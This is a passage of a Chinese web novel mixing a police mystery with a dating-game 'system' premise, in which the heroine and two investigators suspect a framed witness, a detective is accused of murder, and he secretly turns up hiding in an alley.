祝好总觉得这话听着有些不得劲,一时想不明白他究竟是在夸还是在损自己。
秦聿风拍了拍肚子:“这样吧,反正饭也吃饱了,我现在回家也是躺着,不如我们把这件事从头分析一下。”
程述白他一眼,阴阳道:“秦队,你可真行,蹭了饭还要人加班跟你分析案情。”
秦聿风也不恼,
好脾气地笑了笑:“这不是合理利用资源么,大不了我负责刷碗,行了吧?”
程述给了他一个“这还差不多”的眼神,指挥他收拾好桌上的垃圾,把碗筷搬进厨房水槽里,还不忘叮嘱他:“洗干净点啊,洗完记得把餐桌也擦了。”
秦聿风不耐烦:“知道了,你出去吧。”
祝好乐得不用干活,美滋滋地往椅背里一靠,打开白眼狼的零食袋给它加了个餐。
秦聿风洗好了碗,把桌子擦干净了,又从旅行包里拿出一个文件袋,才回到餐桌前坐下,进入正题:“其实去了一趟西临市,我也觉得这个案子有些古怪,但我去那边只是协助调查,说不上什么话,所以才想着回来跟你们讨论一下。”
说完打开文件袋,抽出几份资料和一打照片摆在桌上。
程述拿起资料大致看了几眼,似乎是觉得直接提问比看资料更方便快捷,于是皱了皱眉,问他:“陈瑞泽的父母为什么会怀疑人是周逸杀的?”
秦聿风道:“据他们所说,陈瑞泽自从认识了周逸之后,就变得很叛逆,而且这个周逸还有过前科。”
“他们怀疑的只有周逸一个人吗?”祝好觉得奇怪:“我记得之前温主任给陈瑞泽做尸检时,发现他的手腕、脚踝上并没有被捆绑的痕迹,却有许多手印,说明施虐者可能不止一个人。”
秦聿风有些为难:“从我能拿到的资料上看,西临市的警方目前怀疑的就只有周逸,至于他有没有同伙,要等找到他本人才知道。”
祝好还是百思不得其解:从周逸的电脑上找到聊天记录来看,的确是他主动联系了孙彪去挖尸体、并绑架法医验尸。
还是那句话,如果他是凶手,为什么还要大费周章去做这些“多余”的事情?
更何况,在解剖之前,他还特地询问能否将尸体复原。
虽然不知道他的目的到底是什么,但从他的这些举动来看,他跟陈瑞泽应该的确是关系不错的朋友,至少是对他有一定感情的。
她翻了翻文件袋里的资料,发现了一丝端倪:“秦警官,我看这些文件里并没有证据能证明陈瑞泽死亡当天曾经去过周逸家。”
秦聿风:“是的,周逸家在一个待拆迁的老小区,里面没有监控,没人能证明陈瑞泽到底有没有上去过。”
屋里一时间变得很安静,每个人都陷进了各自的思绪中。
文件袋里有一打照片,祝好拿起来一张张翻看。
照片是被认定为第一犯罪现场的周逸家,如秦聿风所说,他家里空空如也,只剩下几样比较破旧的家具和一些基础的日常用品,甚至连“床”都是由铺在地上的凉席和几张被褥组成的。
从照片上看,卫生间很小,大约只有两三平米,地上并没有血迹。如果这里是第一案发现场,那么应该已经清理过了。
她突然想到什么,把照片摆在桌上,问秦聿风:“秦警官,发现陈瑞泽牙齿的这个地方,是不是很隐蔽?”
秦聿风回忆了一下,摇摇头:“不算隐蔽,多看几眼就能发现了。”
祝好思索了片刻,有些疑惑:“假设人是周逸杀的,从陈瑞泽死亡到警察上门,他有那么长一段时间可以处理现场,怎么偏偏就留下一颗牙齿呢?”
“还有这几根毛发,是落在洗手池边上的,明明一开水龙头就能冲掉了……”顿了顿,她接着道:“这些东西给人的感觉,就像是故意摆在那儿的。”
程述放下现场勘查记录,十指交叉在鼻端前:“的确,这个案子怪就怪在,证据的数量多得有些超出常理了,除了小助手说的这些,他的车也是一个疑点。”
“如果抛尸、杀人都是他所为,那么他的车上至少会留下少量的血迹和毛发,可现场勘查记录显示,车里并没有发现任何属于陈瑞泽的DNA。”
祝好提出疑问:“会不会是他洗过车了?”
毕竟经常杀人的朋友都知道,抛尸之后洗车是必不可少的重要环节。
程述把一张照片旋向祝好:“如果洗了车,车轮上怎么会还留着抛尸现场的泥土呢?”
秦聿风:“你的意思是,周逸可能只是个替罪羊?”
闻言,祝好脑袋里突然打过一道闪,她终于想明白这起案子到底哪里古怪了。
先是陈瑞泽父母提出周逸是怀疑对象,当警方找到他家时,又发现了陈瑞泽的牙齿和毛发,紧接着又在他的车轮上发现了与抛尸现场成分一致的泥土。
一切都太顺利、太合理了。
从头到尾,似乎都有一条看不见的线牵着他们往前走,并把所有的怀疑和证据都指向周逸。
程述点点头,想了想,又摇头:“我更倾向于,周逸无意目睹了陈瑞泽被杀害和抛尸的过程,也正中某些人的下怀,于是把线索都引到他身上,制造了一个畏罪潜逃的假象。”
祝好顺着他的话音一抬头,喉头轻滚:“那他会不会已经……”
后面的两个字,她没忍心说出口。
程述叹了口气:“说不准,老秦,你有什么想法?”
秦聿风没有说话,抱着双臂凝神思考了一阵,不知在想些什么,过了五分钟,才缓缓开口:“其实我在西临市时,总是有一种奇怪的感觉。”
他调整了一下坐姿,手肘撑着桌上支着下巴:“这个案子的负责人表面上看似热情,但我能感觉到他对我的到来并不是十分欢迎,总是刻意忽略我提出的意见和看法。”
程述的目光变得冷冽起来:“你觉得西临市的警局内部有问题?”
祝好心头有些发瘆,突然想起之前曾经跟温珣讨论过,为什么绑架他们验尸的人没有报警。
按他们当时的推测,要么就是陈瑞泽的死有什么见不得人的秘密,要么就是之前曾发生过什么事,让周逸对警方失去了信任。
现在看来,似乎两者都很有可能。
毕竟有权利制造那么多“证据”的,或许只有警方了。
“只是有这个可能,不过我这只回去只是协助调查,没有什么话语权,所以即便觉得事情古怪,也没法说上话。”秦聿风顿了顿,说道:“今晚我把这些资料整理一下,明天去跟上级领导申请把温主任的绑架案和这起杀人案并案调查,这样就能名正言顺加入西临市的调查小组了。”
祝好精神一振:如果能并案调查,那么就能从他这儿获得更多线索,也就不用担心剧情没法完成了。
不过她的心又很快沉了下来,直觉告诉她,这起跨越两个城市的案子,恐怕比之前的案子都要复杂许多。
秦聿风抬眼看了一下墙上的挂钟,已经快十点了。他把资料和照片收进文件袋里,起身伸了个懒腰:“唉,看来又得出差一趟了,老程,这回你去不去?”
程述果断拒绝:“不去。”
祝好举起手,两眼放光:“我可以去吗?”
秦聿风笑了笑:“虽然我很乐意和祝小姐一起出差,不过你的伤还没好全呢,再养养吧,有消息我会第一时间告诉你们的。”
祝好有些失望,犹豫了一下,还是忍不住提醒他:“秦警官,西临市毕竟不是你们的地盘,你自己要小心点。”
“放心吧,我好歹也是个队长,他们能拿我怎么样?”秦聿风无所谓地一耸肩,把文件袋放回旅行包里,又转头问程述:“老程,等我回来,能不能再上你家来蹭一顿饭啊?”
程述从厨房拿了两袋垃圾塞到他手里:“看心情。”
*
一眨眼,时间就到了三天后。祝好正躺在阁楼里看书,突然听到楼下客厅里程述的手机响了起来。
秦聿风去了西临市那么久,一直没传回什么有用的消息,这回会不会是他找到什么线索、要告诉程述?
她合上书,竖起耳朵,凝神聆听楼下的动静。
程述接起电话:“嗯,是我。”
紧接着就是漫长的沉默,再开口时,语气变得严肃起来:“什么时候的事?”
祝好觉得有些不对劲,从床上爬起来,掀开门帘,看到程述低着头倚着沙发靠背上。
察觉到她的视线,程述缓缓抬起头,祝好这才发现他的脸色有些难看,心里登时生出不详的预感。
等他挂了电话,祝好忙问:“老大,怎么了?”
程述面色凝重,顿了一下,才说:“老秦出事了。”
第92章
祝好心里一咯噔,赶紧从楼上下来:“怎么
了?”
程述捏了捏眉心,尽量用简练的语言把事情说清楚:“今天早上,有人在西临市一处废弃工地上发现了周逸坠亡的尸体,法医初步判断他是被人推下楼、颅骨碎裂而死,死亡时间是昨晚十一点左右。”
思绪还没理清,一股凉意便攀上颅顶,祝好怔住了,头皮一阵发麻。
周逸死了?
不仅死了,还是被人推下楼的。
结合他们之前的推测,难道这是……杀人灭口么?
疑虑一层层漫上心头,祝好的声音微微有些颤抖:“那这件事跟秦警官有什么关系?”
程述转了个身,双手撑在沙发靠背上,吐出一口气:“路口的交通监控拍到了老秦当时曾经在附近停留过,从那之后,就没人能联系上他了,现在西临市的警方把老秦列为了主要嫌疑人。”
嫌疑人?!
祝好浑身一滞,瞬间冷汗直冒。愣了几秒钟,她从口袋里掏出手机,找到秦聿风的号码拨了出去。
毫不意外地,电话那头传出了机械的“您所拨打的电话已关机,请稍后再拨”的提示音。
她抬头看向程述:“老大,现在要怎么办?”
程述面色沉郁,略一思考,朝她挥手:“去穿件外套,我们去警局一趟。”
*
好多天没来警局,办公楼内依旧忙碌而有序,或许是得益于祝好靠一只鞋、一瓶酒差点干翻两个悍匪的传奇事迹,警员们对他们的态度相比平时明显好了不少。
有个面熟的警员过来跟程述打招呼:“程先生,你来了。”
程述跳过寒暄,直入主题:“怎么回事?”
警员叹了口气,给他递上一打文件:“我们也是接到西临市那边的电话才知道这个消息。”
程述随意翻了翻资料,皱着眉问:“那边警方还有什么证据吗?”
光靠一个掐头去尾的监控视频,不可能轻易把一个秦聿风列为嫌疑人。
警员:“现在还不知道,不过西临市已经派人过来了,局长正准备开会,指名要你也去。”
程述显然对“开会”这种形式主义不太感冒,但这起案子不仅横跨两个城市,还牵扯到秦聿风,连局长都亲自出马了,可见事情并不简单。
他“嗯”了一声,转身向会议室走去,祝好连忙跟上。穿过走廊时,正好在拐角处碰到了温珣。
祝好有些惊讶:“温珣,你那么快就收假了?手上的伤没事了吗?”
温珣苦笑了一下:“听说秦队出事了,我哪还有心思休假,立刻就赶回来了。”
顿了顿,他看向程述:“程述,如果有什么我帮得上忙的,尽管说。”
程述大概是习惯了平时一见面就互掐,对他态度的突然转变有些不太适应,喉结轻滚,似乎想说什么,又咽了回去,问道:“陈瑞泽的尸体还在吗?”
“在殡仪馆的冷库里,他的父母已经来认过尸了,不过程序没走完,暂时还不能领回去。”
“那麻烦你再对他做一次更细致、更全面的尸检吧。”
温珣点了点头:“我也正有此意。”
程述想拍拍他的肩膀,手抬到一半又犹豫了,揉了揉自己的鼻子,径直朝会议室走去。
会议室里已经坐满了人,有一部分祝好见过,还有一部分看起来很陌生,每个人的面色都很凝重。
祝好还是第一次见到警局的局长,他坐在会议室中间,大概四五十岁的模样,穿着笔直的制服,长相跟想象中差不多——一头干净利落的短发,利剑似的眉毛下面,一双眼睛炯炯有神。
看到程述进来,局长朝他招了招手,示意他坐到自己身旁的空位。程述笑了一下,摇摇头,拉着祝好找了个角落的位置坐下。
局长大概也知道他的脾气,没再勉强,清了清嗓,开始了会议。
一开始都是些场面话,大概就是西临市的代表远道而来,招待不周之类的,祝好这才发觉,那几个陌生的面孔应该就是西临市派来的警员。
坐在前面的两个小警员压低嗓门窃窃私语:“你知道吗,这回的事儿,局长都快急疯了。”
——淮江市警局的刑侦队长出了趟差,莫名就变成了一起谋杀案里下落不明的犯罪嫌疑人,局长不疯才怪呢。
另一个警员点头:“秦队走之前,我听他跟局长汇报过,说觉得这件案子有问题,局长本来不想让他去的……”
“那他为什么要趟这趟浑水?”
“谁知道呢。”
……
一轮客套话后,轮到西临市的警方代表发言了。
说话的是一个戴着黑框眼镜、留着平头的中年男人,简单介绍一下案情后,他把一个U盘插进电脑里,在会议室的投影仪上播放了废弃工地路口的交通监控拍到的那段视频。
时间显示是昨天晚上的十点半左右,一个身影出现在工地门口,虽然戴着帽子和口罩,但看得出是个年轻男孩。他不时左右张望,看起来十分谨慎。
平头男摁下暂停键,介绍道:“这个就是涉嫌杀害陈瑞泽的凶手,周逸。”
说完继续播放视频。
过了二十分钟左右,秦聿风从一辆出租车上下来,先是掏出手机打了个电话,左顾右盼一番后,走进工地里。
平头男摁下快进,过了半个小时左右,秦聿风又匆匆从工地里走出来,消失在监控范围里。
“那个废弃工地旁边摄像头不多,之后秦聿风同志的手机就关机了,追踪不到信号。”
会议室里响起一阵议论声,平头男接着道:“周逸手机里的通话记录显示在他坠楼的当天中午,曾用虚拟号码app给秦聿风同志打了个电话,通话时长为两分钟。”
淮江市的警员提出疑问:“光是一个通话记录就能随便怀疑秦队吗?”
“当然不是。”顿了顿,平头男又说:“根据调查,我们发现秦聿风同志从工地出来前,账户上有过一笔二十万元的汇款,经过对比,跟之前给孙彪转账的账户是一样的,转账人应该就是周逸。”
一直沉默的局长突然发话:“所以你们觉得是秦聿风收受了贿赂,然后灭口?他是名经验丰富的警察,就算要杀人,也不至于留下那么多漏洞吧?”
“如果是有预谋的犯罪,确实不会留下漏洞,但如果是激情犯罪呢?毕竟我们也在周逸身上发现了不少打斗留下的伤痕,也许——”平头男停了一秒钟,强调:“我也只是假设,也许是秦聿风同志觉得这个价格低了,想狮子大开口,但周逸没同意,所以发生了争执,结果秦聿风不小心把他推下楼了呢?”
说着他推了推眼镜,笑了一下:“局长,既然都是警察,你也明白办案要讲求证据的。我知道秦聿风同志口碑很好,我们也不想随便怀疑他,可他现在下落不明,至少得先找到他、跟他了解具体情况才能下结论。”
局长脸色铁青,看起来差点就要拍案而起、破口大骂了,但最终还是硬忍下来,没再接话。
坐在祝好前面的小警员用胳膊肘捅了捅另一个人,低声问:“诶,你觉得真是秦队做的吗?”
“不会吧,秦队是那种人吗?”
小警员努了努嘴:“我觉得很难说啊,二十万呢,对我们这种公职人员来说不算是小数目了。”
祝好的胸口仿佛被塞了一把冰渣,沉甸甸、冷冰冰的,坠得有些难受,她捏紧拳头,刚想要替秦聿风辩解,就看到程述突然伸手拍了拍小警员的肩膀。
小警员吓了一跳,回头看他:“什么事?”
他眼珠子向下一斜,睨视着小警员,没头没脑地问了句:“你在警局工作多久了?”
小警员虽然对他印象不太好,但还是颇有顾忌,无端被他看得心头发怵:“两、两年,准确地说,两年零三个月。”
“两年三个月,你们秦队平时是个怎么样的人,难道你还不了解吗?”他的语气很平静,却透露出不容置疑。
“我、我……”小警员被他说得哑口无言,一张脸涨得通红,小声辩解道:“可是,人总是会变的……”
“谁都可能会变,但你们秦队不会。”程述打断他,“与其在这儿胡乱猜忌,不如赶紧想办法找到他。”
小警员被他呛住了,尴尬地咳了一声,刚要转过头,又被程述叫住了。
“你举手问一下那个平头,能不能把完整的监控视频、通话记录都给我们一份。”
小警员欲言又止,脸上的表情写着“你为什么不问”,但最终还是在对视中败下阵来,悻悻地举起手:“那个……麻烦把完整的监控和通话记录都给我们拷贝一份,我们也想尽一份力,看看能不能尽快找到秦队。”
平头倒是答应得爽快:“当然没问题。”
会议结束后,程述带着拷贝了监控和通话记录的U盘回到了秦聿风的办公室。
秦聿风出差的这几天,窗台的花没人照顾,已经有些蔫了。祝好接了杯水倒进花盆里,转过身时,程述正坐在办公桌前,凝神看着屏幕上的监控视频,手边放了支笔,潦草地记录着什么。
祝好凑过去看他写的东西。
12:43第一次通话,周→秦,通话时间2分03秒
22:32周进入工地
22:51第二次通话,秦→周,未接
22:52秦进入工地
22:59第二次通话,秦→周,未接
23:10第三次通话,秦→周,未接
23:26秦离开
她问程述:“老大,你发现了什么疑点吗?”
对于秦聿风的人品,祝好是深信不疑的。
虽然之前他们就怀疑西临市警局内部有问题,可对方既然敢大大方方把这份视频和通话记录,就说明他们笃定了光凭这些查不出什么端倪。
程述默不作声地盯着那张纸,过了一会才答:“时间线有些奇怪。”
祝好问:“哪里奇怪了?”
程述撑着额角说:“我还在捋。”
办公室的门突然被敲响,是刚才在会议室的那个小警员:“程先生,局长请你去他办公室,说有事要跟你商量。”
程述继续在纸上写写画画,头也不抬:“不去,没看到我正忙着呢。”
小警员仿佛早有预料:“局长说你一定会拒绝,但是这件事跟秦队有关,很重要,请你务必去一趟。”
程述的笔尖一顿。
片刻后,他把笔放下了:“祝好,你先在这儿等我,我一会儿就回来。”
第93章
程述一离开,祝好就接替了他的工作,研究起纸上的时间线来。
她在几次通话时间下面划了横线,除了中午那通电话是周逸打给秦聿风的之外,其余几通电话都是秦聿风给周逸打的,间隔时间很短。
看起来就像是他们约在了废弃工厂见面,到了约定的地点后,秦聿风没找到人,所以拨了几通电话,但周逸都没有接。
周逸为什么会约秦聿风见面?
到了约定的地点后,他又为什么没接电话?
他们最终见上面了吗?
祝好把这些疑问记在纸上,又接着往下看。
周逸是十点半左右进的工地,二十分钟后,也就是十点五十分左右,秦聿风也进去了;约摸过了半个小时,秦聿风又从里面出来,监控里的他是一路小跑离开的,看着似乎有些慌张。
工地里没有摄像头,这期间究竟发生了什么,就不得而知了。
祝好盯着视频又看了一会儿,突然想到什么,从资料里翻出那份转账记录。
转账记录中显示,秦聿风收到汇款的时间是23点22分,也就是说,他当时还在工地里。
难道真的像西临市警方说的那样,周逸把秦聿风约出来是想要向他行贿,可钱转过去之后,秦聿风临时想要加价,最终两人发生争执,他失手将周逸推下楼后匆匆逃离吗?
这个念头仅仅在脑海里闪过一瞬,就被祝好否定了。
程述跟秦聿风相识多年,平时他对一切人和事都是一副满不在乎的模样,今天在会议室里却反常地回怼了那个小警员,说明他对秦聿风的人品是百分百信任的。
而她……
郑文昊那件案子中,她选择相信李砚川,现在实在不应该怀疑当初救她一命的秦聿风。
祝好从这些胡思乱想中抽回神思,继续把注意力放在那张纸上,打算一个一个解决刚才提出的问题。
首先,周逸为什么会给秦聿风打电话?
秦聿风身为一个有经验的刑警,在接到来自嫌疑人的电话后,会出于什么原因,在没有告知任何人的情况下,决定只身赴约?
难道说,周逸有什么重要的线索要交给他吗?
如果西临市的警方内部真的有问题,那么周逸很有可能知道些什么、并且已经对他们失去了信任,所以选择把线索交给秦聿风。
秦聿风这些天一直在跟随西临市警方办案,多少也察觉出了一些端倪,所以在接到周逸的电话后,权衡再三,决定赴约。
然而到了约定的地点后,他连续回拨了三个电话,周逸都没有回应。
周逸为什么没接电话?
祝好把那几个时间线来回过了几遍,心头掠过一个模模糊糊的揣测,拿起手机给温珣打去了电话:“温珣,你还在警局里吗?”
温珣:“刚要走,怎么了?”
祝好:“我有几个专业性的问题想问你。”
温珣:“你现在在哪儿?”
祝好:“我在秦队的办公室。”
下一秒,办公室的门就被敲响了,温珣推门进入,笑着走到她身边:“祝好,找我有什么事?”
祝好把几张现场的照片递给他:“光从这几张照片,能判断出这个人是自杀的还是被人推下楼的吗?”
温珣接过照片:“这是秦队那起案子?”
“是。”
得到肯定的答案,他拿起照片认认真真地看了几眼。照片拍得很全面,有近照,有特写,也有从远处拍下的全景。
过了一会儿,他得出结论:“跳楼自杀属于自由落体,而被推下楼的受害者受到外力作用,一般落地点会比跳楼自杀的距离远一些。单从照片上看,这个受害者更像是被推下去的,不过也仅仅是推测,如果能亲自做尸检,应该能得到更准确的信息。”
祝好想了想,又问:“尸检确定的死亡时间能精确到什么程度?”
温珣略一思考:“如果死亡时间在48小时内,最多能精确到相差半小时吧。”
西临市的法医判断周逸的死亡时间是晚上十一点左右,如果前后误差半小时,很有可能在秦聿风进入工地之前,周逸就已经坠楼了,所以才没办法接他的电话。
最后一个问题,他们见上面了吗?
从监控视频中看,秦聿风离开的时候身后并没有其他人,但他的状态明显有些紧绷,所以他一定见到
了些什么。
是什么呢?周逸的尸体?真正行凶的人?还是……
祝好正咬着笔杆子思考,温珣不知从哪儿掏出一颗棒棒糖,剥开糖纸递到给她:“笔上细菌很多,用这个代替吧。”
把颅骨、脏器和哈根达斯放同一个冰柜的人,居然会说出这种话,也是挺稀奇的。
祝好接过棒棒糖塞进嘴里,温珣轻轻拍了拍她的肩膀:“放心吧,秦队一定会没事的。”
随着好感度的提升,可攻略对象的举动也会比之前亲昵一些,不过似乎不会轻易越界。
说实话,祝好也并不反感他的靠近,毕竟这点好感度不是靠亲亲抱抱、而是她辛辛苦苦用半条命换来的。
温珣看了一眼腕间的手表:“快十点了,你还不回家吗?”
“我在等程述,他被局长拉去谈话了,说是有很重要的事。”
“去多久了?”
祝好想了想:“一个多小时了吧。”
温珣笑:“那估计得等到十二点钟,你别看我们局长一脸正气,其实说话啰嗦得要死。”
十二点钟?难怪程述一开始不愿去他办公室呢,一旦进去,没有三个小时都别想出来。
温珣见她叹气,说:“这样吧,我先送你回家,你留言跟程述说一下就行。”
见祝好没有马上答应,他打趣道:“放心,这回我一定不会被绑架了。”
祝好被他逗笑了,掏出手机给程述发了条信息,收拾好办公桌,跟他一起离开了警局。
祝好坐上副驾驶,系好安全带,发现他的后视镜上挂了个小小的平安符。
温珣打开空调暖风,看祝好一直在看那个平安符,笑了笑:“上回那件事快把我妈给吓死了,回国之后就去给我求了个符,硬要我挂在车上保平安。”
祝好点点头,问:“那个胸针,她喜欢吗?”
“当然喜欢了,她还夸我眼光变好了不少,我告诉她是有人帮忙挑的。”温珣偏头看了她一眼,嘴角微微扬起:“对了,她说下回有空,让我带你回家里吃个饭。”
啊不是,这才40好感度就要见家长了?
祝好有些尴尬,连忙岔开话题,想翻过这一页:“温珣,你跟程述关系为什么那么差啊?”
“也不算关系差吧,可能——”温珣想了想:“跟他吵嘴已经成了一种习惯,见面不吵上两句反而觉得不自在。”
说完又笑:“你别说,之前他离开警局的这几年,没人能让我损几句,我还挺寂寞的。这大概就属于,看见的时候头疼,不见的时候嘴痒吧。”
祝好笑得前俯后仰,暂时把烦心事抛在了脑后。
车很快开到程述家附近,虽然路又窄又乱,车不好走,但温珣还是坚持把她送到楼下:“我就不上去了,等家里灯亮了我再走。”
祝好点点头,跟他说了声晚安后,下车径直往楼道里走。
回到家里刚打开门,就听见“扑通”一声重响,是白眼狼从柜子上跳下来的声音。
她摁开灯,敷衍地摸了两把白眼狼的脑袋,然后走到窗边对着楼下温珣的车招了招手。
温珣闪了两下灯,算作回应,然后缓缓把车开走了。
这一天下来可太累了,祝好摇摇晃晃地走到沙发旁,颓然地倒了下去,望着天花板上的吊灯发呆。
秦聿风已经一天一夜没有消息了,他现在会在哪儿呢?
他是个可攻略对象、好歹也算是游戏的主角,最基本的主角光环应该还是有的吧?那是不是说明,他不会有生命危险?
也不对,要说这个游戏的主角,应该是祝好自己才对。而她都三番五次差点gameover,秦聿风会不会……
呸呸呸!祝好晃了晃脑袋,想赶紧把这个不吉利的想法从脑海里赶出去。
“喵——”白眼狼叫了一声,伸出爪子拍了拍她的裤腿,然后一步三回头地奔向自己的饭碗。
这是又饿了?
祝好起身给它的碗里加满了猫粮,它只低头闻了闻,又蹭着祝好的裤腿喵喵叫唤不停,如果它会说人话,那要表达的应该是“老子不吃猫粮,老子要吃罐头”。
一天一个罐头,都是被程述惯出来的坏毛病!
祝好本不想搭理它,奈何它一直嗷嗷叫个不停,颇有吃不到罐头不罢休之势,把祝好本就混乱的思绪搅成一团,不得已只好打开放罐头的橱柜,却发现里面已经空了。
已经十一点了,不过刚才回来路过宠物医院时,门头的招牌好像还亮着,程述现在还没回信息,估计还在被那场冗长的谈话折磨着呢。祝好想了想,穿上外套拿钥匙出了门。
在路上她打开控制面板,从系统商城里兑换了200块钱,走到宠物医院门口时,恰好看见在那个长得跟弥勒佛似的医生在喷洒消毒剂。
因为经常来买猫粮,弥勒佛医生已经认得她了,笑着问道:“是白眼狼的家长啊,白眼狼最近还健康吗?”
祝好笑了笑,这称呼还真是有够奇怪的。
“挺好的,我想给它买点罐头,还有一只化毛膏。”
弥勒佛医生指了指货架:“你挑吧,我刚做完一场手术,你买完我就下班了。”
祝好应了一声,从货架上挑了几种不同口味的罐头,又顺带买了几包小鱼干。结账的时候,不禁暗暗感慨:“在家躺一天,撒撒娇就有好吃的从天而降,下辈子如果能做只猫就好了。”
付完钱,她提着装罐头的袋子往家里走。
宠物医院离程述住的那栋筒子楼不算远,只是这条路不靠近大马路,这个点路上的行人寥寥无几,年久失修的路灯也忽明忽暗,不时发出“滋滋”的电流声。
祝好有些后悔下楼买罐头的决定了,反正白眼狼那么胖了,少吃一顿也没事。她裹紧外套,不由得加快了脚步。
快要走到楼道前面时,一颗小石子不知从哪里滚出来,蹦蹦哒哒在地上弹了几下后,撞在祝好帆布鞋的鞋帮上,停了下来。
祝好低头看着那颗小石子,愣怔片刻,转头顺着它蹦哒的轨迹看向一条漆黑的深巷。
这条巷子处在两栋挨得很近的筒子楼中间,巷子口放了两个臭气熏天的垃圾桶,平时根本不会有人进去。
那这颗小石子……又是怎么来的呢?
正思忖着,又一颗小石子从黑暗中蹦哒出来,从她鞋尖前面掠过,滚到路中央。
是觅食的小野猫吗?
祝好停在原地思索片刻,看了看手里提着的猫罐头,神使鬼差地调转了方向,朝巷子走去。
刚走到巷子口,她脑子里突然闪过被孙彪绑架的那个夜晚,陡然间顿住脚步。不行,这样太危险了,万一巷子里藏着的不是野猫,是个坏人怎么办。
她伸长脖子张望了一下,巷子里似乎空无一人,更没有什么小野猫,于是深吸一口气,抬腿要走。
转身的瞬间,胳膊突然被一股力道攥住,接着耳边生风,整个人不受控制地被扯入幽深的黑暗中。
完了,还真是怕什么来什么。
她脑子“嗡”的一声,下意识想要叫出来,还没来得及发声,嘴就被一只手死死捂住,紧接着一个低沉的声音在她耳边轻声说:“别怕,是我。”
第94章
虽然被狠狠拽了一把,但祝好却没有摔在地上,而是跌进了某个人的怀里。
思维停滞了片刻,她才恍然回神,挣扎着想要说话,可嘴还是被捂着,只能发出“唔唔”的声音。
“嘘——”温热的吐息轻拂过耳畔,身后的人仍保持着把她圈在怀里的姿势:“是我,秦聿风。”
祝好定住了。
秦聿风:“我松手了,你别叫。”
祝好点头。
身上的禁锢一松,她终于得以扭头往后看,虽然黑暗中看不清面貌,但她还是认出了那个熟悉的轮廓,小心翼翼地试探道:“秦警官?”
秦聿风重重地叹了口气,低声说道:“对不起,祝小姐,是不是吓到你了?”
祝好心说不被吓到才有鬼呢,被绑架的阴影还未散去,又给她整那么一出,心脏病都差点吓出来了,要不是她还保留着一丝理智,早就给他来上一肘子了。
她深吸了一口气,心情堪堪平复,转身问道:“秦警官,你还好吗?”
秦聿风勉强笑了一下,声音有些虚弱:“我还好,老程呢?”
巷子很狭窄,祝好的后背紧紧贴着他的胸膛,甚至能感受到他身上散发的热量,连忙挪了个位置,跟他一起靠墙坐着:“老大还在警局,局长有事找他聊,说是……跟你有关的事。”
说着掏出手机看了眼时间,快十一点半了。
程述还没回复她的信息,难道真的跟温珣说的一样,不聊到十二点他都走不开吗?
祝好想给他打个电话,秦聿风却伸出手覆在屏幕上:“先别,我不想让警局的人知道我在哪儿。”
祝好心底一突:“为什么?你怎么了?到底发生了什么事?”
面对一连串的疑问,秦聿风轻轻摇头,把脸埋在掌心里,长长地吁了口气:“说来话长。”
他没有继续往下解释的意思。
虽然不知道在过去的一天一夜里他都经历了什么,但祝好看得出他全身上下都透露着一股疲倦的气息。
她刚要把手机收起来,却透过屏幕暗淡的光,发现他嘴角有块淤青,忙问:“秦警官,你受伤了?”
秦聿风苦笑了一下:“没关系,不是什么严重的伤。”
“我们回家里包扎一下吧。”
祝好起身要拉他,可他却纹丝不动,依旧保持着那个蜷着腿蹲在墙角的姿势:“不用了,西临市那边已经派人过来了吧?我担心有人在暗中盯着,最好还是不要露面。”
果然是西临市的警方有问题吗?
祝好愣住了,一时没办法把这么多复杂的信息串联起来,但也察觉到事情的严重性,只好问:“那怎么办?”
秦聿风抱着脑袋想了一会儿:“我得先找个别人不知道的地方藏起来。”
别人不知道的地方?祝好有些为难。
程述家绝对是不可能的了,如果秦聿风能大摇大摆上去,也不至于偷偷摸摸蹲这儿等她半天;温珣还在警局工作,他家更是不安全;旅社、酒店都需要登记,系统虽然给了她完整的身份信息,但却没给她身份证……
怎么办呢?
斟酌了片刻,她掏出手机拨通了李砚川的号码。
过了好一会儿电话才接通,李砚川的声音听起来带着惊喜:“喂,好好。”
背景充斥着嘈杂的音乐声和喧闹声,毕竟这个点正是酒吧最热闹的时候。
祝好问:“李砚川,你在忙吗?”
“不忙,你等等。”噪音逐渐变小,他似乎是换了个安静的地方,“好好,这么晚给我打电话,有什么事吗?”
祝好犹豫了一下,还是开口问他:“你能不能帮我个忙?”
李砚川甚至没问她要帮什么忙,就先一口答应下来:“没问题,需要我做什么?”
“开车来我家一趟,嗯……别开太显眼的车,越低调越好。”她瞥了秦聿风一眼:“对了,顺便带件干净的外套,男式的,可以吗?”
*
夜间马路不拥堵,不到二十分钟,一辆银色的面包车就缓缓停在楼下。车窗摇下,李砚川露出一张没心没肺的笑脸,朝她摆了摆手:“好好。”
祝好指挥他把车停靠在巷子口,趁着四下无人,拉开车门,让秦聿风先进了车里。
这大概是酒吧用来送货的面包车,后车厢堆着几个箱子和一些杂物,确实挺符合祝好要求的“低调”。
秦聿风在后排落座,先是客套地跟李砚川打了声招呼:“李老板,真是麻烦你了。”
“别这么说,好好的朋友就是我的朋友。”李砚川从副驾驶拿了个袋子递给他:“这个点商场都关门了,我只好找了件我自己的衣服带给你。我俩身高差不多,应该合适,你先凑合穿一下。”
秦聿风尴尬地笑了笑,脱去了身上满是污渍和灰尘的牛仔外套,换上了李砚川的呢子大衣。
大衣上用金色的丝线绣着精致的燕子图案,与他的小麦肤色和硬汉气质格格不入。祝好想笑,又觉得实在不合时宜,只得硬生生憋了回去。
李砚川拧动钥匙,启动车子,转头问祝好:“我们现在去哪儿?”
去哪儿呢?祝好也有些拿不定主意,想了想,说:“先开着吧,往人少的地方开,我和秦警官有事要谈。”
李砚川点点头,踩下油门,从后视镜中瞥了祝好一眼,一副欲言又止的模样。
祝好当然知道他想问些什么——如果她对一切毫不知情,一定也会好奇往日威风凛凛的刑警队长为什么会沦落得如此狼狈。
她也有很多问题想要问秦聿风,但现在最重要的,首先是确定他与这件事究竟有没有关系。
短暂的思考后,她打开系统商城,用50积分兑换了魅力值。
系统弹出“兑换成功”的提示后,她转向秦聿风,一字一顿问道:“秦警官,周逸的死跟你有关吗?”
或许是这个问题太过直白,后视镜中,李砚川的眼神闪过一丝惊讶,不过他什么也没说,只是默默地充当司机的角色。
车窗外流转的灯光晃过秦聿风的脸庞,他垂下眼睑,睫尖微微颤动,声音也有些沙哑:“没有,我到那儿的时候,他已经……摔下来了。”
在魅力值的作用下,可攻略对象会说出“发自内心的话语”,所以他没办法撒谎。
看来一切跟祝好推测的差不多,周逸之所以没有接秦聿风的电话,是因为她当时已经被人从楼上推下来了。
祝好长长松了口气,同时又因为自己对他的不信任生出了些许愧疚。
